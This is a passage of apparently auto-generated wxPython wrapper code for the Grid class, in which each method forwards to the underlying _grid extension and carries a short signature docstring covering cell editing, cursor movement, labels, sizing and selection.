ShowCellEditControl(*args, **kwargs):\n \"\"\"ShowCellEditControl(self)\"\"\"\n return _grid.Grid_ShowCellEditControl(*args, **kwargs)\n\n def HideCellEditControl(*args, **kwargs):\n \"\"\"HideCellEditControl(self)\"\"\"\n return _grid.Grid_HideCellEditControl(*args, **kwargs)\n\n def SaveEditControlValue(*args, **kwargs):\n \"\"\"SaveEditControlValue(self)\"\"\"\n return _grid.Grid_SaveEditControlValue(*args, **kwargs)\n\n def XYToCell(*args, **kwargs):\n \"\"\"XYToCell(self, int x, int y) -> GridCellCoords\"\"\"\n return _grid.Grid_XYToCell(*args, **kwargs)\n\n def YToRow(*args, **kwargs):\n \"\"\"YToRow(self, int y) -> int\"\"\"\n return _grid.Grid_YToRow(*args, **kwargs)\n\n def XToCol(*args, **kwargs):\n \"\"\"XToCol(self, int x, bool clipToMinMax=False) -> int\"\"\"\n return _grid.Grid_XToCol(*args, **kwargs)\n\n def YToEdgeOfRow(*args, **kwargs):\n \"\"\"YToEdgeOfRow(self, int y) -> int\"\"\"\n return _grid.Grid_YToEdgeOfRow(*args, **kwargs)\n\n def XToEdgeOfCol(*args, **kwargs):\n \"\"\"XToEdgeOfCol(self, int x) -> int\"\"\"\n return _grid.Grid_XToEdgeOfCol(*args, **kwargs)\n\n def CellToRect(*args, **kwargs):\n \"\"\"CellToRect(self, int row, int col) -> Rect\"\"\"\n return _grid.Grid_CellToRect(*args, **kwargs)\n\n def GetGridCursorRow(*args, **kwargs):\n \"\"\"GetGridCursorRow(self) -> int\"\"\"\n return _grid.Grid_GetGridCursorRow(*args, **kwargs)\n\n def GetGridCursorCol(*args, **kwargs):\n \"\"\"GetGridCursorCol(self) -> int\"\"\"\n return _grid.Grid_GetGridCursorCol(*args, **kwargs)\n\n def IsVisible(*args, **kwargs):\n \"\"\"IsVisible(self, int row, int col, bool wholeCellVisible=True) -> bool\"\"\"\n return _grid.Grid_IsVisible(*args, **kwargs)\n\n def MakeCellVisible(*args, **kwargs):\n \"\"\"MakeCellVisible(self, int row, int col)\"\"\"\n return _grid.Grid_MakeCellVisible(*args, **kwargs)\n\n def SetGridCursor(*args, **kwargs):\n \"\"\"SetGridCursor(self, int row, int col)\"\"\"\n return _grid.Grid_SetGridCursor(*args, **kwargs)\n\n def MoveCursorUp(*args, **kwargs):\n \"\"\"MoveCursorUp(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorUp(*args, **kwargs)\n\n def MoveCursorDown(*args, **kwargs):\n \"\"\"MoveCursorDown(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorDown(*args, **kwargs)\n\n def MoveCursorLeft(*args, **kwargs):\n \"\"\"MoveCursorLeft(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorLeft(*args, **kwargs)\n\n def MoveCursorRight(*args, **kwargs):\n \"\"\"MoveCursorRight(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorRight(*args, **kwargs)\n\n def MovePageDown(*args, **kwargs):\n \"\"\"MovePageDown(self) -> bool\"\"\"\n return _grid.Grid_MovePageDown(*args, **kwargs)\n\n def MovePageUp(*args, **kwargs):\n \"\"\"MovePageUp(self) -> bool\"\"\"\n return _grid.Grid_MovePageUp(*args, **kwargs)\n\n def MoveCursorUpBlock(*args, **kwargs):\n \"\"\"MoveCursorUpBlock(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorUpBlock(*args, **kwargs)\n\n def MoveCursorDownBlock(*args, **kwargs):\n \"\"\"MoveCursorDownBlock(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorDownBlock(*args, **kwargs)\n\n def MoveCursorLeftBlock(*args, **kwargs):\n \"\"\"MoveCursorLeftBlock(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorLeftBlock(*args, **kwargs)\n\n def MoveCursorRightBlock(*args, **kwargs):\n \"\"\"MoveCursorRightBlock(self, bool expandSelection) -> bool\"\"\"\n return _grid.Grid_MoveCursorRightBlock(*args, **kwargs)\n\n def GetDefaultRowLabelSize(*args, **kwargs):\n \"\"\"GetDefaultRowLabelSize(self) -> int\"\"\"\n return _grid.Grid_GetDefaultRowLabelSize(*args, **kwargs)\n\n def GetRowLabelSize(*args, **kwargs):\n \"\"\"GetRowLabelSize(self) -> int\"\"\"\n return _grid.Grid_GetRowLabelSize(*args, **kwargs)\n\n def GetDefaultColLabelSize(*args, **kwargs):\n \"\"\"GetDefaultColLabelSize(self) -> int\"\"\"\n return _grid.Grid_GetDefaultColLabelSize(*args, **kwargs)\n\n def GetColLabelSize(*args, **kwargs):\n \"\"\"GetColLabelSize(self) -> int\"\"\"\n return _grid.Grid_GetColLabelSize(*args, **kwargs)\n\n def GetLabelBackgroundColour(*args, **kwargs):\n \"\"\"GetLabelBackgroundColour(self) -> Colour\"\"\"\n return _grid.Grid_GetLabelBackgroundColour(*args, **kwargs)\n\n def GetLabelTextColour(*args, **kwargs):\n \"\"\"GetLabelTextColour(self) -> Colour\"\"\"\n return _grid.Grid_GetLabelTextColour(*args, **kwargs)\n\n def GetLabelFont(*args, **kwargs):\n \"\"\"GetLabelFont(self) -> Font\"\"\"\n return _grid.Grid_GetLabelFont(*args, **kwargs)\n\n def GetRowLabelAlignment(*args, **kwargs):\n \"\"\"GetRowLabelAlignment() -> (horiz, vert)\"\"\"\n return _grid.Grid_GetRowLabelAlignment(*args, **kwargs)\n\n def GetColLabelAlignment(*args, **kwargs):\n \"\"\"GetColLabelAlignment() -> (horiz, vert)\"\"\"\n return _grid.Grid_GetColLabelAlignment(*args, **kwargs)\n\n def GetColLabelTextOrientation(*args, **kwargs):\n \"\"\"GetColLabelTextOrientation(self) -> int\"\"\"\n return _grid.Grid_GetColLabelTextOrientation(*args, **kwargs)\n\n def GetRowLabelValue(*args, **kwargs):\n \"\"\"GetRowLabelValue(self, int row) -> String\"\"\"\n return _grid.Grid_GetRowLabelValue(*args, **kwargs)\n\n def GetColLabelValue(*args, **kwargs):\n \"\"\"GetColLabelValue(self, int col) -> String\"\"\"\n return _grid.Grid_GetColLabelValue(*args, **kwargs)\n\n def GetGridLineColour(*args, **kwargs):\n \"\"\"GetGridLineColour(self) -> Colour\"\"\"\n return _grid.Grid_GetGridLineColour(*args, **kwargs)\n\n def GetDefaultGridLinePen(*args, **kwargs):\n \"\"\"GetDefaultGridLinePen(self) -> wxPen\"\"\"\n return _grid.Grid_GetDefaultGridLinePen(*args, **kwargs)\n\n def GetRowGridLinePen(*args, **kwargs):\n \"\"\"GetRowGridLinePen(self, int row) -> wxPen\"\"\"\n return _grid.Grid_GetRowGridLinePen(*args, **kwargs)\n\n def GetColGridLinePen(*args, **kwargs):\n \"\"\"GetColGridLinePen(self, int col) -> wxPen\"\"\"\n return _grid.Grid_GetColGridLinePen(*args, **kwargs)\n\n def GetCellHighlightColour(*args, **kwargs):\n \"\"\"GetCellHighlightColour(self) -> Colour\"\"\"\n return _grid.Grid_GetCellHighlightColour(*args, **kwargs)\n\n def GetCellHighlightPenWidth(*args, **kwargs):\n \"\"\"GetCellHighlightPenWidth(self) -> int\"\"\"\n return _grid.Grid_GetCellHighlightPenWidth(*args, **kwargs)\n\n def GetCellHighlightROPenWidth(*args, **kwargs):\n \"\"\"GetCellHighlightROPenWidth(self) -> int\"\"\"\n return _grid.Grid_GetCellHighlightROPenWidth(*args, **kwargs)\n\n def SetRowLabelSize(*args, **kwargs):\n \"\"\"SetRowLabelSize(self, int width)\"\"\"\n return _grid.Grid_SetRowLabelSize(*args, **kwargs)\n\n def SetColLabelSize(*args, **kwargs):\n \"\"\"SetColLabelSize(self, int height)\"\"\"\n return _grid.Grid_SetColLabelSize(*args, **kwargs)\n\n def SetLabelBackgroundColour(*args, **kwargs):\n \"\"\"SetLabelBackgroundColour(self, Colour ?)\"\"\"\n return _grid.Grid_SetLabelBackgroundColour(*args, **kwargs)\n\n def SetLabelTextColour(*args, **kwargs):\n \"\"\"SetLabelTextColour(self, Colour ?)\"\"\"\n return _grid.Grid_SetLabelTextColour(*args, **kwargs)\n\n def SetLabelFont(*args, **kwargs):\n \"\"\"SetLabelFont(self, Font ?)\"\"\"\n return _grid.Grid_SetLabelFont(*args, **kwargs)\n\n def SetRowLabelAlignment(*args, **kwargs):\n \"\"\"SetRowLabelAlignment(self, int horiz, int vert)\"\"\"\n return _grid.Grid_SetRowLabelAlignment(*args, **kwargs)\n\n def SetColLabelAlignment(*args, **kwargs):\n \"\"\"SetColLabelAlignment(self, int horiz, int vert)\"\"\"\n return _grid.Grid_SetColLabelAlignment(*args, **kwargs)\n\n def SetColLabelTextOrientation(*args, **kwargs):\n \"\"\"SetColLabelTextOrientation(self, int textOrientation)\"\"\"\n return _grid.Grid_SetColLabelTextOrientation(*args, **kwargs)\n\n def SetRowLabelValue(*args, **kwargs):\n \"\"\"SetRowLabelValue(self, int row, String ?)\"\"\"\n return _grid.Grid_SetRowLabelValue(*args, **kwargs)\n\n def SetColLabelValue(*args, **kwargs):\n \"\"\"SetColLabelValue(self, int col, String ?)\"\"\"\n return _grid.Grid_SetColLabelValue(*args, **kwargs)\n\n def SetGridLineColour(*args, **kwargs):\n \"\"\"SetGridLineColour(self, Colour ?)\"\"\"\n return _grid.Grid_SetGridLineColour(*args, **kwargs)\n\n def SetCellHighlightColour(*args, **kwargs):\n \"\"\"SetCellHighlightColour(self, Colour ?)\"\"\"\n return _grid.Grid_SetCellHighlightColour(*args, **kwargs)\n\n def SetCellHighlightPenWidth(*args, **kwargs):\n \"\"\"SetCellHighlightPenWidth(self, int width)\"\"\"\n return _grid.Grid_SetCellHighlightPenWidth(*args, **kwargs)\n\n def SetCellHighlightROPenWidth(*args, **kwargs):\n \"\"\"SetCellHighlightROPenWidth(self, int width)\"\"\"\n return _grid.Grid_SetCellHighlightROPenWidth(*args, **kwargs)\n\n def EnableDragRowSize(*args, **kwargs):\n \"\"\"EnableDragRowSize(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableDragRowSize(*args, **kwargs)\n\n def DisableDragRowSize(*args, **kwargs):\n \"\"\"DisableDragRowSize(self)\"\"\"\n return _grid.Grid_DisableDragRowSize(*args, **kwargs)\n\n def CanDragRowSize(*args, **kwargs):\n \"\"\"CanDragRowSize(self) -> bool\"\"\"\n return _grid.Grid_CanDragRowSize(*args, **kwargs)\n\n def EnableDragColSize(*args, **kwargs):\n \"\"\"EnableDragColSize(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableDragColSize(*args, **kwargs)\n\n def DisableDragColSize(*args, **kwargs):\n \"\"\"DisableDragColSize(self)\"\"\"\n return _grid.Grid_DisableDragColSize(*args, **kwargs)\n\n def CanDragColSize(*args, **kwargs):\n \"\"\"CanDragColSize(self) -> bool\"\"\"\n return _grid.Grid_CanDragColSize(*args, **kwargs)\n\n def EnableDragColMove(*args, **kwargs):\n \"\"\"EnableDragColMove(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableDragColMove(*args, **kwargs)\n\n def DisableDragColMove(*args, **kwargs):\n \"\"\"DisableDragColMove(self)\"\"\"\n return _grid.Grid_DisableDragColMove(*args, **kwargs)\n\n def CanDragColMove(*args, **kwargs):\n \"\"\"CanDragColMove(self) -> bool\"\"\"\n return _grid.Grid_CanDragColMove(*args, **kwargs)\n\n def EnableDragGridSize(*args, **kwargs):\n \"\"\"EnableDragGridSize(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableDragGridSize(*args, **kwargs)\n\n def DisableDragGridSize(*args, **kwargs):\n \"\"\"DisableDragGridSize(self)\"\"\"\n return _grid.Grid_DisableDragGridSize(*args, **kwargs)\n\n def CanDragGridSize(*args, **kwargs):\n \"\"\"CanDragGridSize(self) -> bool\"\"\"\n return _grid.Grid_CanDragGridSize(*args, **kwargs)\n\n def EnableDragCell(*args, **kwargs):\n \"\"\"EnableDragCell(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableDragCell(*args, **kwargs)\n\n def DisableDragCell(*args, **kwargs):\n \"\"\"DisableDragCell(self)\"\"\"\n return _grid.Grid_DisableDragCell(*args, **kwargs)\n\n def CanDragCell(*args, **kwargs):\n \"\"\"CanDragCell(self) -> bool\"\"\"\n return _grid.Grid_CanDragCell(*args, **kwargs)\n\n def SetAttr(*args, **kwargs):\n \"\"\"SetAttr(self, int row, int col, GridCellAttr attr)\"\"\"\n return _grid.Grid_SetAttr(*args, **kwargs)\n\n def SetRowAttr(*args, **kwargs):\n \"\"\"SetRowAttr(self, int row, GridCellAttr attr)\"\"\"\n return _grid.Grid_SetRowAttr(*args, **kwargs)\n\n def SetColAttr(*args, **kwargs):\n \"\"\"SetColAttr(self, int col, GridCellAttr attr)\"\"\"\n return _grid.Grid_SetColAttr(*args, **kwargs)\n\n def GetOrCreateCellAttr(*args, **kwargs):\n \"\"\"GetOrCreateCellAttr(self, int row, int col) -> GridCellAttr\"\"\"\n return _grid.Grid_GetOrCreateCellAttr(*args, **kwargs)\n\n def SetColFormatBool(*args, **kwargs):\n \"\"\"SetColFormatBool(self, int col)\"\"\"\n return _grid.Grid_SetColFormatBool(*args, **kwargs)\n\n def SetColFormatNumber(*args, **kwargs):\n \"\"\"SetColFormatNumber(self, int col)\"\"\"\n return _grid.Grid_SetColFormatNumber(*args, **kwargs)\n\n def SetColFormatFloat(*args, **kwargs):\n \"\"\"SetColFormatFloat(self, int col, int width=-1, int precision=-1)\"\"\"\n return _grid.Grid_SetColFormatFloat(*args, **kwargs)\n\n def SetColFormatCustom(*args, **kwargs):\n \"\"\"SetColFormatCustom(self, int col, String typeName)\"\"\"\n return _grid.Grid_SetColFormatCustom(*args, **kwargs)\n\n def EnableGridLines(*args, **kwargs):\n \"\"\"EnableGridLines(self, bool enable=True)\"\"\"\n return _grid.Grid_EnableGridLines(*args, **kwargs)\n\n def GridLinesEnabled(*args, **kwargs):\n \"\"\"GridLinesEnabled(self) -> bool\"\"\"\n return _grid.Grid_GridLinesEnabled(*args, **kwargs)\n\n def GetDefaultRowSize(*args, **kwargs):\n \"\"\"GetDefaultRowSize(self) -> int\"\"\"\n return _grid.Grid_GetDefaultRowSize(*args, **kwargs)\n\n def GetRowSize(*args, **kwargs):\n \"\"\"GetRowSize(self, int row) -> int\"\"\"\n return _grid.Grid_GetRowSize(*args, **kwargs)\n\n def GetDefaultColSize(*args, **kwargs):\n \"\"\"GetDefaultColSize(self) -> int\"\"\"\n return _grid.Grid_GetDefaultColSize(*args, **kwargs)\n\n def GetColSize(*args, **kwargs):\n \"\"\"GetColSize(self, int col) -> int\"\"\"\n return _grid.Grid_GetColSize(*args, **kwargs)\n\n def GetDefaultCellBackgroundColour(*args, **kwargs):\n \"\"\"GetDefaultCellBackgroundColour(self) -> Colour\"\"\"\n return _grid.Grid_GetDefaultCellBackgroundColour(*args, **kwargs)\n\n def GetCellBackgroundColour(*args, **kwargs):\n \"\"\"GetCellBackgroundColour(self, int row, int col) -> Colour\"\"\"\n return _grid.Grid_GetCellBackgroundColour(*args, **kwargs)\n\n def GetDefaultCellTextColour(*args, **kwargs):\n \"\"\"GetDefaultCellTextColour(self) -> Colour\"\"\"\n return _grid.Grid_GetDefaultCellTextColour(*args, **kwargs)\n\n def GetCellTextColour(*args, **kwargs):\n \"\"\"GetCellTextColour(self, int row, int col) -> Colour\"\"\"\n return _grid.Grid_GetCellTextColour(*args, **kwargs)\n\n def GetDefaultCellFont(*args, **kwargs):\n \"\"\"GetDefaultCellFont(self) -> Font\"\"\"\n return _grid.Grid_GetDefaultCellFont(*args, **kwargs)\n\n def GetCellFont(*args, **kwargs):\n \"\"\"GetCellFont(self, int row, int col) -> Font\"\"\"\n return _grid.Grid_GetCellFont(*args, **kwargs)\n\n def GetDefaultCellAlignment(*args, **kwargs):\n \"\"\"GetDefaultCellAlignment() -> (horiz, vert)\"\"\"\n return _grid.Grid_GetDefaultCellAlignment(*args, **kwargs)\n\n def GetCellAlignment(*args, **kwargs):\n \"\"\"GetCellAlignment(int row, int col) -> (horiz, vert)\"\"\"\n return _grid.Grid_GetCellAlignment(*args, **kwargs)\n\n def GetDefaultCellOverflow(*args, **kwargs):\n \"\"\"GetDefaultCellOverflow(self) -> bool\"\"\"\n return _grid.Grid_GetDefaultCellOverflow(*args, **kwargs)\n\n def GetCellOverflow(*args, **kwargs):\n \"\"\"GetCellOverflow(self, int row, int col) -> bool\"\"\"\n return _grid.Grid_GetCellOverflow(*args, **kwargs)\n\n def GetCellSize(*args, **kwargs):\n \"\"\"GetCellSize(int row, int col) -> (num_rows, num_cols)\"\"\"\n return _grid.Grid_GetCellSize(*args, **kwargs)\n\n def SetDefaultRowSize(*args, **kwargs):\n \"\"\"SetDefaultRowSize(self, int height, bool resizeExistingRows=False)\"\"\"\n return _grid.Grid_SetDefaultRowSize(*args, **kwargs)\n\n def SetRowSize(*args, **kwargs):\n \"\"\"SetRowSize(self, int row, int height)\"\"\"\n return _grid.Grid_SetRowSize(*args, **kwargs)\n\n def SetDefaultColSize(*args, **kwargs):\n \"\"\"SetDefaultColSize(self, int width, bool resizeExistingCols=False)\"\"\"\n return _grid.Grid_SetDefaultColSize(*args, **kwargs)\n\n def SetColSize(*args, **kwargs):\n \"\"\"SetColSize(self, int col, int width)\"\"\"\n return _grid.Grid_SetColSize(*args, **kwargs)\n\n def GetColAt(*args, **kwargs):\n \"\"\"GetColAt(self, int colPos) -> int\"\"\"\n return _grid.Grid_GetColAt(*args, **kwargs)\n\n def SetColPos(*args, **kwargs):\n \"\"\"SetColPos(self, int colID, int newPos)\"\"\"\n return _grid.Grid_SetColPos(*args, **kwargs)\n\n def GetColPos(*args, **kwargs):\n \"\"\"GetColPos(self, int colID) -> int\"\"\"\n return _grid.Grid_GetColPos(*args, **kwargs)\n\n def AutoSizeColumn(*args, **kwargs):\n \"\"\"AutoSizeColumn(self, int col, bool setAsMin=True)\"\"\"\n return _grid.Grid_AutoSizeColumn(*args, **kwargs)\n\n def AutoSizeRow(*args, **kwargs):\n \"\"\"AutoSizeRow(self, int row, bool setAsMin=True)\"\"\"\n return _grid.Grid_AutoSizeRow(*args, **kwargs)\n\n def AutoSizeColumns(*args, **kwargs):\n \"\"\"AutoSizeColumns(self, bool setAsMin=True)\"\"\"\n return _grid.Grid_AutoSizeColumns(*args, **kwargs)\n\n def AutoSizeRows(*args, **kwargs):\n \"\"\"AutoSizeRows(self, bool setAsMin=True)\"\"\"\n return _grid.Grid_AutoSizeRows(*args, **kwargs)\n\n def AutoSize(*args, **kwargs):\n \"\"\"AutoSize(self)\"\"\"\n return _grid.Grid_AutoSize(*args, **kwargs)\n\n def AutoSizeRowLabelSize(*args, **kwargs):\n \"\"\"AutoSizeRowLabelSize(self, int row)\"\"\"\n return _grid.Grid_AutoSizeRowLabelSize(*args, **kwargs)\n\n def AutoSizeColLabelSize(*args, **kwargs):\n \"\"\"AutoSizeColLabelSize(self, int col)\"\"\"\n return _grid.Grid_AutoSizeColLabelSize(*args, **kwargs)\n\n def SetColMinimalWidth(*args, **kwargs):\n \"\"\"SetColMinimalWidth(self, int col, int width)\"\"\"\n return _grid.Grid_SetColMinimalWidth(*args, **kwargs)\n\n def SetRowMinimalHeight(*args, **kwargs):\n \"\"\"SetRowMinimalHeight(self, int row, int width)\"\"\"\n return _grid.Grid_SetRowMinimalHeight(*args, **kwargs)\n\n def SetColMinimalAcceptableWidth(*args, **kwargs):\n \"\"\"SetColMinimalAcceptableWidth(self, int width)\"\"\"\n return _grid.Grid_SetColMinimalAcceptableWidth(*args, **kwargs)\n\n def SetRowMinimalAcceptableHeight(*args, **kwargs):\n \"\"\"SetRowMinimalAcceptableHeight(self, int width)\"\"\"\n return _grid.Grid_SetRowMinimalAcceptableHeight(*args, **kwargs)\n\n def GetColMinimalAcceptableWidth(*args, **kwargs):\n \"\"\"GetColMinimalAcceptableWidth(self) -> int\"\"\"\n return _grid.Grid_GetColMinimalAcceptableWidth(*args, **kwargs)\n\n def GetRowMinimalAcceptableHeight(*args, **kwargs):\n \"\"\"GetRowMinimalAcceptableHeight(self) -> int\"\"\"\n return _grid.Grid_GetRowMinimalAcceptableHeight(*args, **kwargs)\n\n def SetDefaultCellBackgroundColour(*args, **kwargs):\n \"\"\"SetDefaultCellBackgroundColour(self, Colour ?)\"\"\"\n return _grid.Grid_SetDefaultCellBackgroundColour(*args, **kwargs)\n\n def SetCellBackgroundColour(*args, **kwargs):\n \"\"\"SetCellBackgroundColour(self, int row, int col, Colour ?)\"\"\"\n return _grid.Grid_SetCellBackgroundColour(*args, **kwargs)\n\n def SetDefaultCellTextColour(*args, **kwargs):\n \"\"\"SetDefaultCellTextColour(self, Colour ?)\"\"\"\n return _grid.Grid_SetDefaultCellTextColour(*args, **kwargs)\n\n def SetCellTextColour(*args, **kwargs):\n \"\"\"SetCellTextColour(self, int row, int col, Colour ?)\"\"\"\n return _grid.Grid_SetCellTextColour(*args, **kwargs)\n\n def SetDefaultCellFont(*args, **kwargs):\n \"\"\"SetDefaultCellFont(self, Font ?)\"\"\"\n return _grid.Grid_SetDefaultCellFont(*args, **kwargs)\n\n def SetCellFont(*args, **kwargs):\n \"\"\"SetCellFont(self, int row, int col, Font ?)\"\"\"\n return _grid.Grid_SetCellFont(*args, **kwargs)\n\n def SetDefaultCellAlignment(*args, **kwargs):\n \"\"\"SetDefaultCellAlignment(self, int horiz, int vert)\"\"\"\n return _grid.Grid_SetDefaultCellAlignment(*args, **kwargs)\n\n def SetCellAlignment(*args, **kwargs):\n \"\"\"SetCellAlignment(self, int row, int col, int horiz, int vert)\"\"\"\n return _grid.Grid_SetCellAlignment(*args, **kwargs)\n\n def SetDefaultCellOverflow(*args, **kwargs):\n \"\"\"SetDefaultCellOverflow(self, bool allow)\"\"\"\n return _grid.Grid_SetDefaultCellOverflow(*args, **kwargs)\n\n def SetCellOverflow(*args, **kwargs):\n \"\"\"SetCellOverflow(self, int row, int col, bool allow)\"\"\"\n return _grid.Grid_SetCellOverflow(*args, **kwargs)\n\n def SetCellSize(*args, **kwargs):\n \"\"\"SetCellSize(self, int row, int col, int num_rows, int num_cols)\"\"\"\n return _grid.Grid_SetCellSize(*args, **kwargs)\n\n def SetDefaultRenderer(*args, **kwargs):\n \"\"\"SetDefaultRenderer(self, GridCellRenderer renderer)\"\"\"\n return _grid.Grid_SetDefaultRenderer(*args, **kwargs)\n\n def SetCellRenderer(*args, **kwargs):\n \"\"\"SetCellRenderer(self, int row, int col, GridCellRenderer renderer)\"\"\"\n return _grid.Grid_SetCellRenderer(*args, **kwargs)\n\n def GetDefaultRenderer(*args, **kwargs):\n \"\"\"GetDefaultRenderer(self) -> GridCellRenderer\"\"\"\n return _grid.Grid_GetDefaultRenderer(*args, **kwargs)\n\n def GetCellRenderer(*args, **kwargs):\n \"\"\"GetCellRenderer(self, int row, int col) -> GridCellRenderer\"\"\"\n return _grid.Grid_GetCellRenderer(*args, **kwargs)\n\n def SetDefaultEditor(*args, **kwargs):\n \"\"\"SetDefaultEditor(self, GridCellEditor editor)\"\"\"\n return _grid.Grid_SetDefaultEditor(*args, **kwargs)\n\n def SetCellEditor(*args, **kwargs):\n \"\"\"SetCellEditor(self, int row, int col, GridCellEditor editor)\"\"\"\n return _grid.Grid_SetCellEditor(*args, **kwargs)\n\n def GetDefaultEditor(*args, **kwargs):\n \"\"\"GetDefaultEditor(self) -> GridCellEditor\"\"\"\n return _grid.Grid_GetDefaultEditor(*args, **kwargs)\n\n def GetCellEditor(*args, **kwargs):\n \"\"\"GetCellEditor(self, int row, int col) -> GridCellEditor\"\"\"\n return _grid.Grid_GetCellEditor(*args, **kwargs)\n\n def GetCellValue(*args, **kwargs):\n \"\"\"GetCellValue(self, int row, int col) -> String\"\"\"\n return _grid.Grid_GetCellValue(*args, **kwargs)\n\n def SetCellValue(*args, **kwargs):\n \"\"\"SetCellValue(self, int row, int col, String s)\"\"\"\n return _grid.Grid_SetCellValue(*args, **kwargs)\n\n def IsReadOnly(*args, **kwargs):\n \"\"\"IsReadOnly(self, int row, int col) -> bool\"\"\"\n return _grid.Grid_IsReadOnly(*args, **kwargs)\n\n def SetReadOnly(*args, **kwargs):\n \"\"\"SetReadOnly(self, int row, int col, bool isReadOnly=True)\"\"\"\n return _grid.Grid_SetReadOnly(*args, **kwargs)\n\n def SelectRow(*args, **kwargs):\n \"\"\"SelectRow(self, int row, bool addToSelected=False)\"\"\"\n return _grid.Grid_SelectRow(*args, **kwargs)\n\n def SelectCol(*args, **kwargs):\n \"\"\"SelectCol(self, int col, bool addToSelected=False)\"\"\"\n return _grid.Grid_SelectCol(*args, **kwargs)\n\n def SelectBlock(*args, **kwargs):\n \"\"\"\n SelectBlock(self, int topRow, int leftCol, int bottomRow, int rightCol, \n bool addToSelected=False)\n \"\"\"\n return _grid.Grid_SelectBlock(*args, **kwargs)\n\n def SelectAll(*args, **kwargs):\n \"\"\"SelectAll(self)\"\"\"\n return _grid.Grid_SelectAll(*args, **kwargs)\n\n def IsSelection(*args, **kwargs):\n \"\"\"IsSelection(self) -> bool\"\"\"\n return _grid.Grid_IsSelection(*args, **kwargs)\n\n def ClearSelection(*args, **kwargs):\n \"\"\"ClearSelection(self)\"\"\"\n return _grid.Grid_ClearSelection(*args, **kwargs)\n\n def IsInSelection(*args, **kwargs):\n \"\"\"IsInSelection(self, int row, int col) -> bool\"\"\"\n return _grid.Grid_IsInSelection(*args, **kwargs)\n\n def GetSelectedCells(*args, **kwargs):\n \"\"\"GetSelectedCells(self) -> wxGridCellCoordsArray\"\"\"\n return _grid.Grid_GetSelectedCells(*args, **kwargs)\n\n def GetSelectionBlockTopLeft(*args, **kwargs):\n \"\"\"GetSelectionBlockTopLeft(self) -> wxGridCellCoordsArray\"\"\"\n return _grid.Grid_GetSelectionBlockTopLeft(*args, **kwargs)\n\n def GetSelectionBlockBottomRight(*args, **kwargs):\n \"\"\"GetSelectionBlockBottomRight(self) -> wxGridCellCoordsArray\"\"\"\n return _grid.Grid_GetSelectionBlockBottomRight(*args, **kwargs)\n\n def GetSelectedRows(*args, **kwargs):\n \"\"\"GetSelectedRows(self) -> wxArrayInt\"\"\"\n return _grid.Grid_GetSelectedRows(*args, **kwargs)\n\n def GetSelectedCols(*args, **kwargs):\n \"\"\"GetSelectedCols(self) -> wxArrayInt\"\"\"\n return _grid.Grid_GetSelectedCols(*args, **kwargs)\n\n def DeselectRow(*args, **kwargs):\n \"\"\"DeselectRow(self, int row)\"\"\"\n return _grid.Grid_DeselectRow(*args, **kwargs)\n\n def DeselectCol(*args, **kwargs):\n \"\"\"DeselectCol(self, int col)\"\"\"\n return _grid.Grid_DeselectCol(*args, **kwargs)\n\n def DeselectCell(*args, **kwargs):\n \"\"\"DeselectCell(self, int row, int col)\"\"\"\n return _grid.Grid_DeselectCell(*args, **kwargs)\n\n def BlockToDeviceRect(*args, **kwargs):\n \"\"\"BlockToDeviceRect(self, GridCellCoords topLeft, GridCellCoords bottomRight) -> Rect\"\"\"\n return _grid.Grid_BlockToDeviceRect(*args, **kwargs)\n\n def GetSelectionBackground(*args, **kwargs):\n \"\"\"GetSelectionBackground(self) -> Colour\"\"\"\n return _grid.Grid_GetSelectionBackground(*args, **kwargs)\n\n def GetSelectionForeground(*args, **kwargs):\n \"\"\"GetSelectionForeground(self) -> Colour\"\"\"\n return _grid.Grid_GetSelectionForeground(*args, **kwargs)\n\n def SetSelectionBackground(*args, **kwargs):\n \"\"\"SetSelectionBackground(self, Colour c)\"\"\"\n return _grid.Grid_SetSelectionBackground(*args, **kwargs)\n\n def SetSelectionForeground(*args, **kwargs):\n \"\"\"SetSelectionForeground(self, Colour c)\"\"\"\n return _grid.Grid_SetSelectionForeground(*args, **kwargs)\n\n def RegisterDataType(*args, **kwargs):\n \"\"\"RegisterDataType(self, String typeName, GridCellRenderer renderer, GridCellEditor editor)\"\"\"\n return _grid.Grid_RegisterDataType(*args, **kwargs)\n\n def GetDefaultEditorForCell(*args, **kwargs):\n \"\"\"GetDefaultEditorForCell(self, int row, int col) -> GridCellEditor\"\"\"\n return _grid.Grid_GetDefaultEditorForCell(*args, **kwargs)\n\n def GetDefaultRendererForCell(*args, **kwargs):\n \"\"\"GetDefaultRendererForCell(self, int row, int col) -> GridCellRenderer\"\"\"\n return _grid.Grid_GetDefaultRendererForCell(*args, **kwargs)\n\n def GetDefaultEditorForType(*args, **kwargs):\n \"\"\"GetDefaultEditorForType(self, String typeName) -> GridCellEditor\"\"\"\n return _grid.Grid_GetDefaultEditorForType(*args, **kwargs)\n\n def GetDefaultRendererForType(*args, **kwargs):\n \"\"\"GetDefaultRendererForType(self, String typeName) -> GridCellRenderer\"\"\"\n return _grid.Grid_GetDefaultRendererForType(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"SetMargins(self, int extraWidth, int extraHeight)\"\"\"\n return _grid.Grid_SetMargins(*args, **kwargs)\n\n def GetGridWindow(*args, **kwargs):\n \"\"\"GetGridWindow(self) -> Window\"\"\"\n return _grid.Grid_GetGridWindow(*args, **kwargs)\n\n def GetGridRowLabelWindow(*args, **kwargs):\n \"\"\"GetGridRowLabelWindow(self) -> Window\"\"\"\n return _grid.Grid_GetGridRowLabelWindow(*args, **kwargs)\n\n def GetGridColLabelWindow(*args, **kwargs):\n \"\"\"GetGridColLabelWindow(self) -> Window\"\"\"\n return _grid.Grid_GetGridColLabelWindow(*args, **kwargs)\n\n def GetGridCornerLabelWindow(*args, **kwargs):\n \"\"\"GetGridCornerLabelWindow(self) -> Window\"\"\"\n return _grid.Grid_GetGridCornerLabelWindow(*args, **kwargs)\n\n def SetScrollLineX(*args, **kwargs):\n \"\"\"SetScrollLineX(self, int x)\"\"\"\n return _grid.Grid_SetScrollLineX(*args, 